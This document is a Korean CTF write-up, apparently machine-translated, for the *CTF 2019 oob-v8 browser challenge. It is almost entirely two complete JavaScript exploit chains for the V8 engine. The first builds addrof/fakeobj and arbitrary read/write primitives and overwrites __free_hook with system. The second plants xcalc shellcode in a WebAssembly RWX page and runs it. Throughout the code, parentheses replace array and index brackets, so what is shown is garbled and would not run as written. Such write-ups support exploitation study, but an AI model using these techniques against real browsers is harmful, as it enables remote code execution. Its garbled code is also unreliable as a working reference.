CTF 2019 oob-v8을 믿으세요

개요

Faith oob-v8은 처음으로 브라우저 취약점을 연습하는 것이 좋다고 말합니다.

공격 기법 1: 시스템에서 __free_hook 재정의

PIE_leak 기술을 잘 이해하지 못해서, JSArray 맵은 매핑된 영역을 가리키고 해당 주소 주변에 힙 포인터가 있으며 이 힙 포인터는 PIE 주소를 가리킵니다.

(시행착오의 결과처럼)

기존의 &__free_hook를 시스템으로 커버하는 방법

/// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { // typeof(val) = float
    f64_buf(0) = val;
    return BigInt(u64_buf(0)) + (BigInt(u64_buf(1)) << 32n); // Watch for little endianness
}

function itof(val) { // typeof(val) = BigInt
    u64_buf(0) = Number(val & 0xffffffffn);
    u64_buf(1) = Number(val >> 32n);
    return f64_buf(0);
}

function ftoh(val){
    return "0x" + ftoi(val).toString(16);
}

/// Construct addrof primitive
var obj = {"A":1};
var obj_arr = (obj);
var float_arr = (1.1, 1.2, 1.3, 1.4);
var obj_arr_map = obj_arr.oob();
var float_arr_map = float_arr.oob();

console.log("(+) Float array map: 0x" + ftoi(float_arr_map).toString(16));
console.log("(+) Object array map: 0x" + ftoi(obj_arr_map).toString(16));

function addrof(in_obj) {
    // First, put the obj whose address we want to find into index 0
    obj_arr(0) = in_obj;

    // Change the obj array's map to the float array's map
    obj_arr.oob(float_arr_map);

    // Get the address by accessing index 0
    let addr = obj_arr(0);

    // Set the map back
    obj_arr.oob(obj_arr_map);

    // Return the address as a BigInt
    return ftoi(addr);
}

function fakeobj(addr) {
    // First, put the address as a float into index 0 of the float array
    float_arr(0) = itof(addr);

    // Change the float array's map to the obj array's map
    float_arr.oob(obj_arr_map);

    // Get a "fake" object at that memory location and store it
    let fake = float_arr(0);

    // Set the map back
    float_arr.oob(float_arr_map);

    // Return the object
    return fake;
}

// This array is what we will use to write to arbitrary memory addresses
var arb_rw_arr = (float_arr_map, itof(0x0000000200000000n), 1, 0xffffffff);

console.log("(+) Controlled float array: 0x" + addrof(arb_rw_arr).toString(16));

function arb_read(addr) {
    // We have to use tagged pointers, so if the addr isn't tagged, we tag it
    if (addr % 2n == 0)
	addr += 1n;
    
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
    arb_rw_arr(2) = itof(BigInt(addr) - 0x10n);
    return ftoi(fake(0));
}

function initial_arb_write(addr, val) {
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
    arb_rw_arr(2) = itof(BigInt(addr) - 0x10n);
    fake(0) = itof(BigInt(val));
}

function arb_write(addr, val) {
    let buf = new ArrayBuffer(8);
    let dataview = new DataView(buf);
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x20n;
    initial_arb_write(backing_store_addr, addr);
    dataview.setBigUint64(0, BigInt(val), true);
}

var test = new Array((1.1, 1.2, 1.3, 1.4));

var test_addr = addrof(test);
var map_ptr = arb_read(test_addr - 1n);
var map_sec_base = map_ptr - 0x2f79n;
var heap_ptr = arb_read(map_sec_base + 0x18n);
var PIE_leak = arb_read(heap_ptr);
var PIE_base = PIE_leak - 0xd87ea8n;

console.log("(+) test array: 0x" + test_addr.toString(16));
console.log("(+) test array map leak: 0x" + map_ptr.toString(16));
console.log("(+) map section base: 0x" + map_sec_base.toString(16));
console.log("(+) heap leak: 0x" + heap_ptr.toString(16));
console.log("(+) PIE leak: 0x" + PIE_leak.toString(16));
console.log("(+) PIE base: 0x" + PIE_base.toString(16));

puts_got = PIE_base + 0xd9a3b8n;
// libc_base = arb_read(puts_got) - 0x809c0n;
// free_hook = libc_base + 0x3ed8e8n;
// system = libc_base + 0x4f440n;
// puts_got = PIE_base + 0xd9b3c8n;
libc_base = arb_read(puts_got) - 0x8aed0n;
free_hook = libc_base + 0x1eee48n;
system = libc_base + 0x52290n;

//0x7ffff7e11e48 - 0x00007ffff7c23000
//0x7ffff7c75290 - 0x00007ffff7c23000
//0x7ffff7ca7420 - 0x00007ffff7c23000


console.log("(+) puts_got: 0x" + puts_got.toString(16));
console.log("(+) arb_read(puts_got): 0x" + arb_read(puts_got).toString(16));
console.log("(+) Libc base: 0x" + libc_base.toString(16));
console.log("(+) __free_hook: 0x" + free_hook.toString(16));
console.log("(+) system: 0x" + system.toString(16));

console.log("(+) Overwriting __free_hook to &system");
arb_write(free_hook, system);

console.log("xcalc")


활용 기술 2: WebAssembly를 사용하여 RWX 페이지 생성

wasm을 사용할 때 rwx 페이지가 할당되고 해당 영역에 쉘코드가 주입되는 방식

/// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { // typeof(val) = float
    f64_buf(0) = val;
    return BigInt(u64_buf(0)) + (BigInt(u64_buf(1)) << 32n); // Watch for little endianness
}

function itof(val) { // typeof(val) = BigInt
    u64_buf(0) = Number(val & 0xffffffffn);
    u64_buf(1) = Number(val >> 32n);
    return f64_buf(0);
}

/// Construct addrof primitive
var obj = {"A":1};
var obj_arr = (obj);
var float_arr = (1.1, 1.2, 1.3, 1.4);
var obj_arr_map = obj_arr.oob();
var float_arr_map = float_arr.oob();

function addrof(in_obj) {
    // First, put the obj whose address we want to find into index 0
    obj_arr(0) = in_obj;

    // Change the obj array's map to the float array's map
    obj_arr.oob(float_arr_map);

    // Get the address by accessing index 0
    let addr = obj_arr(0);

    // Set the map back
    obj_arr.oob(obj_arr_map);

    // Return the address as a BigInt
    return ftoi(addr);
}

function fakeobj(addr) {
    // First, put the address as a float into index 0 of the float array
    float_arr(0) = itof(addr);

    // Change the float array's map to the obj array's map
    float_arr.oob(obj_arr_map);

    // Get a "fake" object at that memory location and store it
    let fake = float_arr(0);

    // Set the map back
    float_arr.oob(float_arr_map);

    // Return the object
    return fake;
}
// This array is what we will use to read from and write to arbitrary memory addresses
var arb_rw_arr = (float_arr_map, 1.2, 1.3, 1.4);

console.log("(+) Controlled float array: 0x" + addrof(arb_rw_arr).toString(16));

function arb_read(addr) {
    // We have to use tagged pointers for reading, so we tag the addr
    if (addr % 2n == 0)
	addr += 1n;

    // Place a fakeobj right on top of our crafted array with a float array map
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);

    // Change the elements pointer using our crafted array to read_addr-0x10
    arb_rw_arr(2) = itof(BigInt(addr) - 0x10n);

    // Index 0 will then return the value at read_addr
    return ftoi(fake(0));
}

function initial_arb_write(addr, val) {
    // Place a fakeobj right on top of our crafted array with a float array map
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);

    // Change the elements pointer using our crafted array to write_addr-0x10
    arb_rw_arr(2) = itof(BigInt(addr) - 0x10n);

    // Write to index 0 as a floating point value
    fake(0) = itof(BigInt(val));
}

console.log("(+) Creating an RWX page using WebAssembly");

// https://wasdk.github.io/WasmFiddle/
var wasm_code = new Uint8Array((0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11));
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;

var rwx_page_addr = arb_read(addrof(wasm_instance)-1n+0x88n);

console.log("(+) RWX Wasm page addr: 0x" + rwx_page_addr.toString(16));

function copy_shellcode(addr, shellcode) {
    let buf = new ArrayBuffer(0x100);
    let dataview = new DataView(buf);
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x20n;
    initial_arb_write(backing_store_addr, addr);

    for (let i = 0; i < shellcode.length; i++) {
	dataview.setUint32(4*i, shellcode(i), true);
    }
}

// https://xz.aliyun.com/t/5003
var shellcode=(0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00);

console.log("(+) Copying xcalc shellcode to RWX page");

copy_shellcode(rwx_page_addr, shellcode);

console.log("(+) Popping calc");

f();

참조

https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/